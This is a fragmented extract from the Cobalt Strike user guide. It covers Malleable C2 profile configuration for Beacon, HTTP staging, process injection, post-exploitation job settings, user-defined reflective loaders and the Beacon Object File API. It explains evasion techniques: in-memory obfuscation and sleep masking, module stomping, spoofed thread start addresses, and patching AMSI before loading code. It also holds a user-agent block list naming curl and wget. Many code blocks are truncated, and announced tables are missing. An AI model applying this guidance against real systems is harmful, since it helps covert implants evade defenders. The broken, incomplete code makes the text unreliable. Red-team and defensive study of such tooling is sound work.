Even though the useragent option exists; you may use the header statement to override this
option.
The tasks_max_size controls the maximum size in bytes a data buffer filled with tasks and
proxy data can be to transfer it to beacon through DNS, HTTP, HTTPS, and Peer-to-Peer
communication channels. Most of the time the defaults are fine, however there are occasions
when a custom task will exceed the maximum size and cannot be sent. For example, you use
the execute-assembly with an executable larger than 1MB in size and the following message is
displayed in the team server and beacon consoles.
[TeamServer Console]
Dropping task for 40147050! Task size of 1389584 bytes is over the max task size limit of
1048576 bytes.
[Beacon Console]
Task size of 1389584 bytes is over the max task size limit of 1048576 bytes.
Increasing the tasks_max_size setting will allow this custom task to be sent. However, it will
require restarting the team server and generating new beacons as the tasks_max_size is
patched into the configuration settings when a beacon is generated and cannot be modified.
This setting also affects how much heap memory beacon allocates to process tasks.
Best Practices:
l Determine the largest task size that will be sent to a beacon. This can be done through
testing and looking for the message above or investigating your custom objects
(executables, dlls, etc) that are used in your engagements. Once this is determined add
some extra space to the value. Using the information from the above example use
1572864 (1.5 MB) as the tasks_max_size. The reason to have extra space is because a
smaller task may follow the larger task to read the response.
l When the tasks_max_size value is determined update the task_max_size setting in your
profile and start the team server and generate your beacon artifacts to deploy on your
target systems.
l If your infrastructure requires beacons generated from other team servers to connect
with each other through Peer-to-Peer communication channels, then this setting should
be updated on all team servers. Otherwise, a beacon will ignore a request when it
exceeds its configured size.
l If you are using an ExternaC2 listener an update would be required to support tasks_
max_size larger than the default size of 1MB.
When executing a large task avoid queueing it with other tasks, especially if this is being
executed on a beacon using peer-to-peer communication channels (SMB and TCP) as it could
be delayed for several check ins depending on the number of already queued tasks and proxy
data to send. The reason is when a task is added it has a size of X bytes which reduces the total
available space available for adding additional tasks. In addition, proxying data through a
beacon will also reduce the amount of available space for sending a large task. When a task is
delayed the following message is displayed in the team server and beacon consoles.
[Beacon Console]
Unable to add task of 787984 bytes as it is over the available size of 260486 bytes. 2 task(s)
on hold until next checkin.
HTTP Staging
Beacon is a staged payload. This means the payload is downloaded by a stager and injected
into memory. Your http-get and http-post indicators will not take effect until Beacon is in
memory on your target. Malleable C2’s http-stager block customizes the HTTP staging process.
http-stager {
set uri_x86 "/get32.gif";
set uri_x64 "/get64.gif";
The uri_x86 option sets the URI to download the x86 payload stage. The uri_x64 option sets the
URI to download the x64 payload stage.
client {
parameter "id" "1234";
header "Cookie" "SomeValue";
}
The client keyword under the context of http-stager defines the client side of the HTTP
transaction. Use the parameter keyword to add a parameter to the URI. Use the header keyword
to add a header to the stager’s HTTP GET request.
server {
header "Content-Type" "image/gif";
output {
prepend "GIF89a";
print;
}
}
The server keyword under the context of http-stager defines the server side of the HTTP
transaction. The header keyword adds a server header to the server’s response. The output
keyword under the server context of http-stager is a data transform to change the payload
stage. This transform may only prepend and append strings to the stage. Use the print
termination statement to close this output block.
A transaction starts when a Beacon makes an HTTP GET request to Cobalt Strike’s web server.
At this time, Beacon must send metadata that contains information about the compromised
system.
TIP:
Session metadata is an encrypted blob of data. Without encoding, it is not suitable for
transport in a header or URI parameter. Always apply a base64, base64url, or netbios
statement to encode your metadata.
Cobalt Strike’s web server responds to this HTTP GET with tasks that the Beacon must execute.
These tasks are, initially, sent as one encrypted binary blob. You may transform this information
with the output keyword under the server context of http-get.
As Beacon executes its tasks, it accumulates output. After all tasks are complete, Beacon
checks if there is output to send. If there is no output, Beacon goes to sleep. If there is output,
Beacon initiates an HTTP POST transaction.
The HTTP POST request must contain a session id in a URI parameter or header. Cobalt Strike
uses this information to associate the output with the right session. The posted content is,
initially, an encrypted binary blob. You may transform this information with the output keyword
under the client context of http-post.
Cobalt Strike’s web server may respond to an HTTP POST with anything it likes. Beacon does
not consume or use this information. You may specify the output of HTTP POST with the output
block under the server context of http-post.
NOTE:
While http-get uses GET by default and http-post uses POST by default, you’re not stuck
with these options. Use the verb option to change these defaults. There’s a lot of flexibility
here.
This table summarizes these keywords and the data they send:
http-host-profiles {
profile {
set host-name "one.ytrewq.com";
http-get {
set uri "/[a|b|c|d]/ytrewq/get.js";
header "ytrewq-header-[a|b|c]" "static-value";
parameter "ytrewq-parameter" "value-[x|y|z]";
parameter "ytrewq-[a|b|c]" "value-[x|y|z]";
## Example of param name that will be dropped when it resolves as blank
parameter "[p1|||p4]" "[a|b|c]";
}
http-post {
set uri "/[a|b|c|d]/ytrewq/[post1|post2|post3|post4].js";
header "ytrewq-header-[a|b|c]" "static-value";
parameter "ytrewq-parameter" "value-[x|y|z]";
parameter "ytrewq-[a|b|c]" "value-[x|y|z]";
parameter "[p1|||p4]" "[a|b|c]";
}
}
profile {
set host-name "two.ytrewq.com";
http-get {
set uri "/ytrewq/get/[2|two|dos]/[a|b|c].js";
}
http-post {
set uri "/ytrewq/post/[2|two|dos]/[a|b|c].js";
}
}
}
Field Description
host-name The host-name field is a fixed string that links the Host Profile to matching
HTTP Hosts field on the HTTP/HTTPS listener definitions. The field is
required and case sensitive. It does NOT support embedded dynamic
syntax (“[a|b|c]”).
uri l Applies to profile.http-get.uri and profile.http-post.uri.
l Resolved URI Length:
o Get Max Length = 127
o Post Max Length = 64
l Optional, but when specified, it cannot resolve to a blank value.
o NOT ALLOWED: [/aaa|/bbb||]
l Must start with “/“.
l Must resolve to valid HTTP URI syntax.
NOTE:
The header and parameter fields above allow host name specific configuration in addition
to the headers and parameters described in the Profile Language/Headers and Parameters
section in the guide.
Restrictions
http-config {
set headers "Date, Server, Content-Length, Keep-Alive,
Connection, Content-Type";
header "Server" "Apache";
header "Keep-Alive" "timeout=5, max=100";
header "Connection" "Keep-Alive”;
set trust_x_forwarded_for "true";
set block_useragents "curl*,lynx*,wget*";
}
set headers - This option specifies the order these HTTP headers are delivered in an HTTP
response. Any headers not in this list are added to the end.
header - This keyword adds a header value to each of Cobalt Strike’s HTTP responses. If the
header value is already defined in a response, this value is ignored.
set trust_x_forwarded_for - This option decides if Cobalt Strike uses the X-Forwarded-For
HTTP header to determine the remote address of a request. Use this option if your Cobalt
Strike server is behind an HTTP redirector.
block_useragents and allow_useragents - These options configure a list of user agents that
are blocked or allowed with a 404 response. By default, requests from user agents that
start with curl, lynx, or wget are all blocked. If both are specified, block_useragents will
take precedence over allow_useragents. The option value supports a string of comma
separated values. Values support simple generics:
Example Description
not specified Use the default value (curl*,lynx*,wget*). Block requests
from user agents starting with curl, lynx, or wget.
blank (block_useragents) No user agents are blocked.
blank (allow user_agents) All user agents are allowed.
something Block/Allow requests with useragent equal 'something'.
something* Block/Allow requests with useragent starting with
'something'.
*something Block/Allow requests with useragent ending with
'something'.
*something* Block/Allow requests with useragent containing
'something'.
https-certificate {
set CN "bobsmalware.com";
set O "Bob’s Malware";
}
https-certificate {
set keystore "domain.store";
set password "mypassword";
}
Here are the steps to create a Valid SSL certificate for use with Cobalt Strike’s Beacon:
1. Use the keytool program to create a Java Keystore file. This program will ask “What is
your first and last name?” Make sure you answer with the fully qualified domain name to
your Beacon server. Also, make sure you take note of the keystore password. You will
need it later.
$ keytool -genkey -keyalg RSA -keysize 2048 -keystore
domain.store
2. Use keytool to generate a Certificate Signing Request (CSR). You will submit this file to
your SSL certificate vendor. They will verify that you are who you are and issue a
certificate. Some vendors are easier and cheaper to deal with than others.
$ keytool -certreq -keyalg RSA -file domain.csr -keystore
domain.store
3. Import the Root and any Intermediate Certificates that your SSL vendor provides.
$ keytool -import -trustcacerts -alias FILE -file FILE.crt -
keystore domain.store
4. Finally, you must install your Domain Certificate.
$ keytool -import -trustcacerts -alias mykey -file domain.crt -
keystore domain.store
And, that’s it. You now have a Java Keystore file that’s ready to use with Cobalt Strike’s Beacon.
Profile Variants
Malleable C2 profile files, by default, contain one profile. It’s possible to pack variations of the
current profile by specifying variant blocks for http-beacon, https- certificate, http-get, http-post
and http-stager.
A variant block is specified as [block name] “variant name” { … }. Here’s a variant http-get block
named “My Variant”:
A variant block creates a copy of the current profile with the specified variant blocks replacing
the default blocks in the profile itself. Each unique variant name creates a new variant profile.
You may populate a profile with as many variant names as you like.
Variants are selectable when configuring an HTTP or HTTPS Beacon listener. Variants allow
each HTTP or HTTPS Beacon listener tied to a single team server to have network IOCs that
differ from each other.
HTTP Beacons
Allows you to specify attributes for general attributes for the http(s) beacons.
The default beacon library can subsequently be overridden on UI Dialogs and Aggressor
Commands that generate beacons as needed.
http-beacon {
set library "winhttp";
}
http-beacon "variant-x" {
set library "wininet";
}
code-signer {
set keystore "keystore.jks";
set password "password";
set alias "server";
}
DNS Beacons
You have the option to shape the DNS Beacon/Listener network traffic with Malleable C2.
dns-beacon “optional-variant-name” {
# Options moved into 'dns-beacon' group in 4.3:
set dns_idle "1.2.3.4";
set dns_max_txt "199";
set dns_sleep "1";
set dns_ttl "5";
set maxdns "200";
set dns_stager_prepend "doc-stg-prepend";
set dns_stager_subhost "doc-stg-sh.";
You can use "ns_response" when a DNS server is responding to a target with "Server failure"
errors. A public DNS Resolver may be initiating NS record requests that the DNS Server in Cobalt
Strike Team Server is dropping by default.
l Each Cobalt Strike instance uses one profile at a time. If you change a profile or load a
new profile, previously deployed Beacons cannot communicate with you.
l Always stay aware of the state of your data and what a protocol will allow when you
develop a data transform. For example, if you base64 encode metadata and store it in a
URI parameter— it’s not going to work. Why? Some base64 characters (+, =, and /) have
special meaning in a URL. The c2lint tool and Profile Compiler will not detect these types
of problems.
l Always test your profiles, even after small changes. If Beacon can’t communicate with
you, it’s probably an issue with your profile. Edit it and try again.
l Trust the c2lint tool. This tool goes above and beyond the profile compiler. The checks
are grounded in how this technology is implemented. If a c2lint check fails, it means
there is a real problem with your profile.
stage {
set userwx "false";
set compile_time "14 Jul 2009 8:14:00";
set image_size_x86 "512000";
set image_size_x64 "512000";
set obfuscate "true";
transform-x86 {
prepend "\x90\x90";
strrep "ReflectiveLoader" "DoLegitStuff";
}
transform-x64 {
# transform the x64 rDLL stage
}
The stage block accepts commands that add strings to the .rdata section of the Beacon DLL.
The string command adds a zero-terminated string. The stringw command adds a wide (UTF-
16LE encoded) string. The data command adds your string as-is.
The transform-x86 and transform-x64 blocks pad and transform Beacon’s Reflective DLL
stage. These blocks support three commands: prepend, append, and strrep.
The prepend command inserts a string before Beacon’s Reflective DLL. The append command
adds a string after the Beacon Reflective DLL. Make sure that prepended data is valid code for
the stage’s architecture (x86, x64). The c2lint program does not have a check for this. The
strrep command replaces a string within Beacon’s Reflective DLL.
The stage block accepts several options that control the Beacon DLL content and provide hints
to change the behavior of Beacon’s Reflective Loader:
1. - The module_x86 and module_x64 setting now supports the ability to specify the starting
ordinal value to search for an exported function. The optional 0x## part is the starting
ordinal value specified as an integer. If a library is set and Beacon does not overwrite itself
into the memory space then it likely the library does not have an exported function with an
ordinal value of 1 through 15. To resolve this determine a valid ordinal value and specify
this value using the optional syntax, for example: set module_x64 "libtemp.dll+0x90"
Cloning PE Headers
The stage block has several options that change the characteristics of your Beacon Reflective
DLL to look like something else in memory. These are meant to create indicators that support
analysis exercises and threat emulation scenarios.
Cobalt Strike’s Linux package includes a tool, peclone, to extract headers from a DLL and
present them as a ready-to-use stage block:
./peclone [/path/to/sample.dll]
Use the stage block’s prepend command to defeat analysis that scans the first few bytes of a
memory segment to look for signs of an injected DLL. If tool-specific strings are used to detect
your agents, change them with the strrep command.
If strrep isn’t enough, set sleep_mask to true. This directs Beacon to obfuscate itself and it's
heap in-memory before it goes to sleep. After sleeping, Beacon will de-obfuscate itself to
request and process tasks. The SMB and TCP Beacons will obfuscate themselves while waiting
for a new connection or waiting for data from their parent session.
Decide how much you want to look like a DLL in memory. If you want to allow easy detection,
set stomppe to false. If you would like to lightly obfuscate your Beacon DLL in memory, set
stomppe to true. If you’d like to up the challenge, set obfuscate to true. This option will take
many steps to obfuscate your Beacon stage and the final state of the DLL in memory.
One way to find memory injected DLLs is to look for the MZ and PE magic bytes at their
expected locations relative to each other. These values are not usually obfuscated as the
reflective loading process depends on them. The obfuscate option does not affect these values.
Set magic_pe to two letters or bytes that mark the beginning of the PE header. Set magic_mz_
x86 to change these magic bytes in the x86 Beacon DLL. Set magic_mz_x64 for the x64
Beacon DLL. Follow instructions that change CPU state with instructions that undo the change.
For example, MZ is the easily recognizable header sequence, but it's also valid x86 and x64
instructions. The follow-on RE (x86) and AR (x64) are valid x86 and x64 instructions that undo
the MZ changes. These hints will change the magic values in Beacon's Reflective DLL package
and make the reflective loading process use the new values.
Set userwx to false to ask Beacon’s loader to avoid RWX permissions. Memory segments with
these permissions will attract extra attention from analysts and security products.
By default, Beacon’s loader allocates memory with VirtualAlloc. Use the allocator option to
change this. The HeapAlloc option allocates heap memory for Beacon with RWX permissions.
The MapViewOfFile allocator allocates memory for Beacon by creating an anonymous memory
mapped file region in the current process. Module stomping is an alternative to these options
and a way to have Beacon execute from coveted image memory. Set module_x86 to a DLL that
is about twice as large as the Beacon payload itself. Beacon’s x86 loader will load the specified
DLL, find its location in memory, and overwrite it. This is a way to situate Beacon in memory that
Windows associates with a file on disk. It’s important that the DLL you choose is not needed by
the applications you intend to reside in. The module_x64 option is the same story, but it affects
the x64 Beacon.
If you’re worried about the Beacon stage that initializes the Beacon DLL in memory, set cleanup
to true. This option will free the memory associated with the Beacon stage when it’s no longer
needed.
Process Injection
The process-inject block in Malleable C2 profiles shapes injected content and controls process
injection behavior for the Beacon payload. It also controls the behavior of Beacon Object Files
(BOF) execution within the current beacon.
process-inject {
# set how memory is allocated in a remote process for
injected content
set allocator "VirtualAllocEx";
RtlCreateUserThread;
}
}
The process-inject block accepts several options that control the process injection process in
Beacon:
The transform-x86 and transform-x64 blocks pad content injected by Beacon. These blocks
support two commands: prepend and append.
The prepend command inserts a string before the injected content. The append command
adds a string after the injected content. Make sure that prepended data is valid code for the
injected content’s architecture (x86, x64). The c2lint program does not have a check for this.
The execute block controls the methods Beacon will use when it needs to inject code into a
process. Beacon examines each option in the execute block, determines if the option is usable
for the current context, tries the method when it is usable, and moves on to the next option if
code execution did not happen. The execute options include:
The CreateThread and CreateRemoteThread options have variants that spawn a suspended
thread with the address of another function, update the suspended thread to execute the
injected code, and resume that thread. Use [function] “module!function+0x##” to specify the
start address to spoof. For remote processes, ntdll and kernel32 are the only recommended
modules to pull from. The optional 0x## part is an offset added to the start address. These
variants work x86 -> x86 and x64 -> x64 only.
The execute options you choose must cover a variety of corner cases. These corner cases
include self injection, injection into suspended temporary processes, cross-session remote
process injection, x86 -> x64 injection, x64 -> x86 injection, and injection with or without passing
an argument. The c2lint tool will warn you about contexts that your execute block does not
cover.
The two hooks will cover most of the post exploitation commands. However, there are some
exceptions which will not use these hooks and will continue to use the built-in technique.
To implement your own injection technique, you will be required to supply a Beacon Object File
(BOF) containing your executable code for x86 and/or x64 architectures and an Aggressor
Script file containing the hook function. See the Process Injection Hook Examples in the
Community Kit.
Since you are implementing your own injection technique, the process-inject settings in your
Malleable C2 profile will not be used unless your BOF calls the Beacon API function
BeaconInjectProcess or BeaconInjectTemporaryProcess. These functions implement the
default injection and most likely will not be used unless it is to implement a fallback to the
default technique.
l The elevate, runasadmin, &belevate, &brunasadmin and [beacon] -> Access ->
Elevate commands will only use the PROCESS_INJECT_SPAWN hook when the
specified exploit uses one of the listed aggressor script functions in the table, for
example &bpowerpick.
l For the net and &bnet command the ‘domain’ command will not use the hook.
l The ‘(use a hash)’ note means select a credential that references a hash.
Job Types
l The [Process Browser] interface is accessed by [beacon] -> Explore -> Process List.
There is also a multi version of this interface which is accessed by selecting multiple
sessions and using the same UI menu. When in the Process Browser use the buttons to
perform additional commands on the selected process.
Job Types
Larger Cobalt Strike post-exploitation features (e.g., screenshot, keylogger, hashdump, etc.) are
implemented as Windows DLLs. To execute these features, Cobalt Strike spawns a temporary
process, and injects the feature into it. The process-inject block controls the process injection
step. The post-ex block controls the content and behaviors specific to Cobalt Strike’s post-
exploitation features. With the 4.5 release these post-exploitation features now support explicit
injection into an existing process when using the [pid] and [arch] arguments.
post-ex {
# control the temporary process we spawn to
set spawnto_x86 "%windir%\\syswow64\\rundll32.exe";
set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";
transform-x64 {
# replace a string in the port scanner dll
strrepex "PortScanner" "Scanner module is complete"
"Scan is complete";
transform-x86 {
# replace a string in the port scanner dll
strrepex "PortScanner" "Scanner module is complete"
"Scan is complete";
The spawnto_x86 and spawnto_x64 options control the default temporary process Beacon will
spawn for its post-exploitation features. Here are a few tips for these values:
l Always specify the full path to the program you want Beacon to spawn
l Environment variables (e.g., %windir%) are OK within these paths.
l Do not specify %windir%\system32 or c:\windows\system32 directly. Always use
syswow64 (x86) and sysnative (x64). Beacon will adjust these values to system32
where it’s necessary.
l For an x86 spawnto value, you must specify an x86 program. For an x64 spawnto value,
you must specify an x64 program.
l The paths you specify (minus the automatic syswow64/sysnative adjustment) must
exist from both an x64 (native) and x86 (wow64) view of the file system.
The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex
capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx
options available for Beacon via the stage block. Some long-running post-ex DLLs will mask and
unmask their string table, as needed, when this option is set.
Use pipename to change the named pipe names used, by post-ex DLLs, to send output back to
Beacon. This option accepts a comma-separated list of pipenames. Cobalt Strike will select a
random pipe name from this option when it sets up a post-exploitation job. Each # in the
pipename is replaced with a valid hex character as well.
The smartinject option directs Beacon to embed key function pointers, like GetProcAddress
and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap
themselves in a new process without shellcode-like behavior that is detected and mitigated by
watching memory accesses to the PEB and kernel32.dll.
The thread_hint option allows multi-threaded post-ex DLLs to spawn threads with a spoofed
start address. Specify the thread hint as “module!function+0x##” to specify the start address to
spoof. The optional 0x## part is an offset added to the start address.
The amsi_disable option directs powerpick, execute-assembly, and psinject to patch the
AmsiScanBuffer function before loading .NET or PowerShell code. This limits the Antimalware
Scan Interface visibility into these capabilities.
The cleanup option cleans up the post-ex UDRL memory when the post-ex DLL is loaded. See
Post-ex User Defined Reflective DLL Loader on page 163 for more information on how this
operates with a customized post-ex UDRL.
Set the keylogger option to configure Cobalt Strike's keystroke logger. The GetAsyncKeyState
option (default) uses the GetAsyncKeyState API to observe keystrokes. The
SetWindowsHookEx option uses SetWindowsHookEx to observe keystrokes.
The transform-x86 and transform-x64 blocks transform Beacon’s Post Exploitation DLLs.
These blocks support two commands: strrep and strrepex.
The strrep command replaces a string within all Post Exploitation DLLs. The strrepex
command replaces a string within the specific Post Exploitation DLLs, and it has the following
syntax: strrepex <post-ex name> <original str> <new str>. Valid post-ex names are:
BrowserPivot, ExecuteAssembly, Hashdump, Keylogger, Mimikatz, NetView, PortScanner,
PowerPick, Screenshot, and SSHAgent.
A Post-ex User Defined Reflective Loader can only be applied to the following post-ex DLLs:
l browserpivot
l hashdump
l invokeassembly
l keylogger
l mimikatz
l netview
l portscan
l powershell
l screenshot
l sshagent
Implementation
The following Aggressor script hook is provided to allow implementation of Post-ex User
Defined Reflective Loaders:
Function Description
POSTEX_RDLL_GENERATE Hook used to implement Reflective Loader replacement
for post-ex DLLs. Arguments provided include Beacon ID,
GetModuleHandleA address, and GetProcAddress
address.
The loader entry function is called with the WinAPI calling convention, and it takes a single
LPVOID argument. Therefore, the entry function must be declared as follows:
Post-exploitation payloads assume that the DLL's entry point is called with the following order
and arguments:
typedef struct {
char* start; // The start address of the .rdata section
DWORD length; // The length (Size of Raw Data) of the .rdata section
DWORD offset; // The obfuscation start offset
} RDATA_SECTION, *PRDATA_SECTION;
The obfuscation start offset ensures that the Import Address Table (IAT) will not be obfuscated.
Typically, this value should be set to the size of the IMAGE_DIRECTORY_ENTRY_IAT Data
Directory entry as follows:
rdata->offset = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_
ENTRY_IAT].Size;
Cobalt Strike 4.4 added support for using customized reflective loaders for beacon payloads.
The User Defined Reflective Loader (UDRL) Kit is the source code for the UDRL example. Go to
Help -> Arsenal and download the UDRL Kit. Your licence key is required.
NOTE:
The reflective loader's executable code is the extracted .text section from a user provided
compiled object file. The extracted executable code must be less than 100KB.
Implementation
The following Aggressor script hooks are provided to allow implementation of User Defined
Reflective Loaders:
Function Description
BEACON_RDLL_GENERATE Hook used to implement basic Reflective Loader
replacement.
BEACON_RDLL_SIZE This hook is called when preparing beacons and
allows the user to configure more than 5 KB space
for their reflective loader (up to 100KB). This hook
can also be used to remove the entire space for
the reflective loader.
BEACON_RDLL_GENERATE_LOCAL Hook used to implement advanced Reflective
Loader replacement. Additional arguments
provided include Beacon ID, GetModuleHandleA
address, and GetProcAddress address.
The following Aggressor script functions are provided to extract the Reflective Loader
executable code (.text section) from a compiled object file and insert the executable code into
the beacon payload:
Function Description
extract_reflective_loader Extracts the Reflective Loader executable code
from a byte array containing a compiled object file.
setup_reflective_loader Inserts the Reflective Loader executable code into
the beacon payload.
The following Aggressor script functions are provided to modify the beacon payload using
information from the Malleable C2 profile:
Function Description
setup_strings Apply the strings defined in the Malleable C2 profile
to the beacon payload.
setup_transformations Apply the transformation rules defined in the
Malleable C2 profile to the beacon payload.
The following Aggressor script function is provided to obtain information about the beacon
payload to assist with custom modifications to the payload:
Function Description
pedump Loads a map of information about the beacon
payload. This map information is similar to the
output of the "peclone" command with the "dump"
argument.
The following Aggressor script functions are provided to perform custom modifications to the
beacon payload:
NOTE:
Depending on the custom modifications made (obfuscation, mask, etc...), the reflective
loader may have to reverse those modifications when loading.
Function Description
pe_insert_rich_header Insert rich header data into Beacon DLL Content. If
there is existing rich header information, it will be
replaced.
pe_mask Mask data in the Beacon DLL Content based on
position and length.
pe_mask_section Mask data in the Beacon DLL Content based on
position and length.
pe_mask_string Mask a string in the Beacon DLL Content based on
position.
pe_patch_code Patch code in the Beacon DLL Content based on
find/replace in '.text' section'.
pe_remove_rich_header Remove the rich header from Beacon DLL
Content.
pe_set_compile_time_with_long Set the compile time in the Beacon DLL Content.
pe_set_compile_time_with_string Set the compile time in the Beacon DLL Content.
Function Description
pe_set_export_name Set the export name in the Beacon DLL Content.
pe_set_long Places a long value at a specified location.
pe_set_short Places a short value at a specified location.
pe_set_string Places a string value at a specified location.
pe_set_stringz Places a string value at a specified location and
adds a zero terminator.
pe_set_value_at Sets a long value based on the location resolved by
a name from the PE Map (see pedump).
pe_stomp Set a string to null characters. Start at a specified
location and sets all characters to null until a null
string terminator is reached.
pe_update_checksum Update the checksum in the Beacon DLL Content.
The BUD is passed as a pointer to the Beacon by calling Beacon's DllMain function with a
custom reasoning known as DLL_BEACON_USER_DATA (0x0d). The BUD must be given to
Beacon before the standard DLL_PROCESS_ATTACH reason is invoked.
Beacon copies necessary values from the BUD during the DLL_USER_DATA call, and therefore it
is not required to keep the BUD structure in memory after the call.
Version Number
The first value contained within the BUD structure is the version number. This version number is
essential in ensuring backward compatibility between different versions of Beacons and
Reflective Loaders since it allows newer Beacons to handle and utilize the older BUD structure
without crashing.
System Calls
Beacon User Data allows a Reflective Loader to resolve and pass system call information to
Beacon, which overtakes Beacon's default system call resolver. See System Calls on page 41
to learn more.
Beacon User Data has an SYSCALL_API_ENTRY structure for each supported System Call, and
the SYSCALL_API structure holds these entries. The entry contains the following values
l jmpAddr: The address of the correct System Call instruction depending on system
architecture:
o x64: the syscall instruction
o WOW64 (32-bit on x64): FastSysCall in WOW64
o Native x86: KiFastSystemCall
l sysnum: The System Call number
l fnAddr: The address of the corresponding Nt* function
The jmpAddr and sysnum values are required for indirect System Calls, and fnAddr is required
for direct System Calls. If the value is zero, Beacon falls back to the corresponding WinAPI call.
The user-defined System Call information is skipped if the syscalls fields in the USER_DATA
structure points to NULL.
Custom Data
Beacon User Data allows a Reflective Loader to pass a small (32 bytes) data buffer to Beacon.
Beacon Object Files (BOFs) can retrieve a pointer to this data with the
BeaconGetCustomUserData function.
BOFs are also very small. A UAC bypass privilege escalation Reflective DLL implementation may
weigh in at 100KB+. The same exploit, built as a BOF, is <3KB. This can make a big difference
when using bandwidth constrained channels, such as DNS.
Finally, BOFs are easy to develop. You just need a Win32 C compiler and a command line. Both
MinGW and Microsoft's C compiler can produce BOF files. You don't have to fuss with project
settings that are sometimes more effort than the code itself.
To Cobalt Strike, a BOF is an object file produced by a C compiler. Cobalt Strike parses this file
and acts as a linker and loader for its contents. This approach allows you to write position-
independent code, for use in Beacon, without tedious gymnastics to manage strings and
dynamically call Win32 APIs.
Cobalt Strike does not link your BOF to a libc. This means you're limited to compiler intrinsics
(e.g., __stosb on Visual Studio for memset), the exposed Beacon internal APIs, Win32 APIs, and
the functions that you write. Expect that a lot of common functions (e.g., strlen, stcmp, etc.) are
not available to you via a BOF.
BOFs execute inside of your Beacon agent. If a BOF crashes, you or a friend you value will lose
access. Write your BOFs carefully.
Cobalt Strike expects that your BOFs are single-threaded programs that run for a short period of
time. BOFs will block other Beacon tasks and functionality from executing. There is no BOF
pattern for asynchronous or long-running tasks. If you want to build a long-running capability,
consider a Reflective DLL that runs inside of a sacrificial process.
#include <windows.h>
#include "beacon.h"
Download beacon.h.
The commands above produce a hello.o file. Use inline-execute in Beacon to run the BOF.
beacon.h contains definitions for several internal Beacon APIs. The function go is similar to
main in any other C program. It's the function that's called by inline-execute and arguments are
passed to it. BeaconOutput is an internal Beacon API to send output to the operator. Not much
to it.
Here's an example BOF that uses DFR and looks up the current domain:
#include <windows.h>
#include <stdio.h>
#include <dsgetdc.h>
#include "beacon.h"
NETAPI32$NetApiBufferFree(pdcInfo);
}
The above code makes DFR calls to DsGetDcNameA and NetApiBufferFree from NETAPI32.
When you declare function prototypes for Dynamic Function Resolution, pay close attention to
the decorators attached to the function declaration. Keywords, such as WINAPI and
DECLSPEC_IMPORT are important. These decorations provide the compiler with the needed
hints to pass arguments and generate the right call instruction.
The &beacon_inline_execute function is Aggressor Script's entry point to run a BOF file. Here is a
script to run a simple Hello World program:
alias hello {
local('$barch $handle $data $args');
# execute it.
beacon_inline_execute($1, $data, "demo", $args);
}
The script first determines the architecture of the session. An x86 BOF will only run in an x86
Beacon session. Conversely, an x64 BOF will only run in an x64 Beacon session. This script then
reads target BOF into an Aggressor Script variable. The next step is to pack our arguments. The
&bof_pack function packs arguments in a way that is compatible with Beacon's internal data
parser API. This script uses the customary &btask to log the action the user asked Beacon to
perform. And, &beacon_inline_execute runs the BOF with its arguments.
The &beacon_inline_execute function accepts the Beacon ID as the first argument, a string
containing the BOF content as a second argument, the entry point as its third argument, and the
packed arguments as its fourth argument. The option to choose an entrypoint exists in case
you choose to combine like-functionality into a single BOF.
/*
* Compile with:
* x86_64-w64-mingw32-gcc -c hello.c -o hello.x64.o
* i686-w64-mingw32-gcc -c hello.c -o hello.x86.o
*/
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include "beacon.h"
The demo function is our entrypoint. We declare the datap structure on the stack. This is an
empty and uninitiated structure with state information for extracting arguments prepared with
&bof_pack. BeaconDataParse initializes our parser. BeaconDataExtract extracts a length-
prefixed binary blob from our arguments. Our pack function has options to pack binary blobs as
zero-terminated strings encoded to the session's default character set, a zero-terminated wide-
character string, or a binary blob without transformation. The BeaconDataInt extracts an integer
that was packed into our arguments. BeaconPrintf is one way to format output and make it
available to the operator.
BOF C API
Data Parser API
The Data Parser API extracts arguments packed with Aggressor Script's &bof_pack function.
Extract a length-prefixed binary blob. The size argument may be NULL. If an address is provided,
the size is populated with the number-of-bytes extracted.
Extract a 4b integer.
Extract a 2b integer.
Output API
The Output API returns output to Cobalt Strike.
Each of these functions accepts a type argument. This type determines how Cobalt Strike will
process the output and what it will present the output as. The types are:
CALLBACK_OUTPUT is generic output. Cobalt Strike will convert this output to UTF-16
(internally) using the target's default character set.
CALLBACK_OUTPUT_OEM is generic output. Cobalt Strike will convert this output to UTF-16
(internally) using the target's OEM character set. You probably won't need this, unless
you're dealing with output from cmd.exe.
CALLBACK_OUTPUT_UTF8 is generic output. Cobalt Strike will convert this output to UTF-
16 (internally) from UTF-8.
Format API
The format API is used to build large or repeating output.
Extract formatted data into a single string. Populate the passed in size variable with the length
of this string. These parameters are suitable for use with the BeaconOutput function.
Internal APIs
The following functions manipulate the token used in the current Beacon context:
Apply the specified token as Beacon's current thread token. This will report the new token to the
user too. Returns TRUE if successful. FALSE is not.
Drop the current thread token. Use this over direct calls to RevertToSelf. This function cleans up
other state information about the token.
void BeaconRevertToken ()
BOOL BeaconIsAdmIn ()
The following functions provide some access to Beacon's process injection capability:
Populate the specified buffer with the x86 or x64 spawnto value configured for this Beacon
session.
This function spawns a temporary process accounting for ppid, spawnto, and blockdlls options.
Grab the handle from PROCESS_INFORMATION to inject into or manipulate this process.
Returns TRUE if successful.
This function will inject the specified payload into an existing process. Use payload_offset to
specify the offset within the payload to begin execution. The arg value is for arguments. arg may
be NULL.
void BeaconInjectProcess (HANDLE hProc, int pid, char * payload, int payload_len,
int payload_offset, char * arg, int arg_len)
This function injects the specified payload into a temporary process that your BOF opted to
launch. Use payload_offset to specify the offset within the payload to begin execution. The arg
value is for arguments. arg may be NULL.
This function cleans up some handles that are often forgotten about. Call this when you're done
interacting with the handles for a process. You don't need to wait for the process to exit or finish.
The following functions are used to access stored items in Beacon Data Store:
Returns a pointer to the specific item. If there is no entry at that index, the function returns
NULL.
size_t BeaconDataStoreMaxEntries ()
Convert the src string to a UTF16-LE wide-character string, using the target's default encoding.
max is the size (in bytes!) of the destination buffer.
This function returns information about beacon such as the beacon address, sections to mask,
heap records to mask, the mask, sleep mask address and sleep mask size information.
This function adds a memory address to an internal key value store to allow the ability to
retrieve this value using the key in a subsequent BOF execution.
This function retrieves the memory address that is associated with the key from the internal
key value store. If the key is not found then NULL is returned.
This function removes the key from the internal key value store. This will not do any memory
clean up of the memory address and a finial execution of a BOF should do the necessary clean
up in order to prevent memory leaks.
The following function retrieves the custom data buffer from Beacon User Data.
char* BeaconGetCustomUserData ()
